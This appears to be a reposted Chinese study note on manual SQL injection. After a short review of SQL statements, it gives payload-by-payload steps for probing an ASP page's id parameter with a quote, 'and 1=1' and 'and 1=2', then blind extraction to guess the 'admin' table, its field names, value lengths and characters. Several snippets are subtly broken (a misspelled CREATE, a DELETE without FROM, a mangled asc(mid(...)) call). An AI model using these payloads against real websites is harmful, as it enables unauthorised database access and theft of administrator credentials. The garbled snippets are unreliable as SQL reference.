我的学习笔记(SQL简单的注入)(1)手工注入以及注入一些常用语句

    xiaoxiao2021-03-25  55

    首先有关SQL的几个常用的术语:1.数据表(table)一般的编写者会命名为users  2.记录(data)一般为record(表示横向的一列,每个字段都取一个) 3.字段(field):一列就是,姓名字段就是所有姓名的值

    接下来是数据库与网站通信的几个常用语句:

    1.select * from 表名 where 字段名 = 字段值(这个语句的作用是查找) 

    例如:select * from users where 学号 = 2

    2.update  表名 set 字段名 = 字段值 where 条件(这个语句用于更新)

    例如:update users set 学号=2 where 学号=3

    3.delete 数据表名 where 条件  (删除)

    接下来是几个数据记录统计数(大小写无关)

    avg(字段值):返回平均值

    count(字段名):返回条数

    max(字段名)/min(字段名)

    sum(字段名)

    例:select count(*) from user

    返回所有的记录条数

    创建表的操作:

    creat table 表名 (字段1,类型1......)

    删除表

    drop table 表名

    手工注入:

    前提(准备工作):在Internet选项中去掉显示有好的http错误信息,这样可以获得具体的错误信息

    示范网站:http://www.baidu.com/wnews.asp?id=157

    (这个网站不存在,只是一个示范而已)

    1.在157后加上',这是个不完整的语句,如果网站设置过滤了,就不会显示,如果显示正常那么步骤二

    2.做后加上and 1=1(这个条件肯定满足,如果网站没有过滤,那么还是原来的)

    3.最后加上and 1=2(这个条件肯定不满足,如果返回的和2不一样,则没有设置过滤,可以注入)

    (注意,注入的网站要是asp格式的,不可以是html静态的网站,静态网站不可能被注入)

    .手工注入首先要猜表名

    and (select count (*) from admin)>0 在这里我猜的是admin为表名字,大于0是肯定成立的,如果表名猜对了则会返回正常

    .之后要猜字段名:

    将上面的*改为要猜的字段名比如说id

    .之后猜字段长度:(我已经假设之前猜出字段名和表名为admin)

    and (select top 1 len(admin) from admin)>n

    符号可以使<>=,n的值要不断改变,直到猜出

    .之后猜字段值

    mid(admin,2,1):表示admin字段中(不是字段名)从第二个开始连续一个

    asc():返回asc码的确定的值    asc(mid(admin,2,1))返回的是a的阿斯克码

    用法:and (select top1 (asc(dimin,2,1)) from admin)=n(这个值要试出来)

    (top 1 表示第一条)

     

    转载请注明原文地址: https://ju.6miu.com/read-36908.html

    最新回复(0)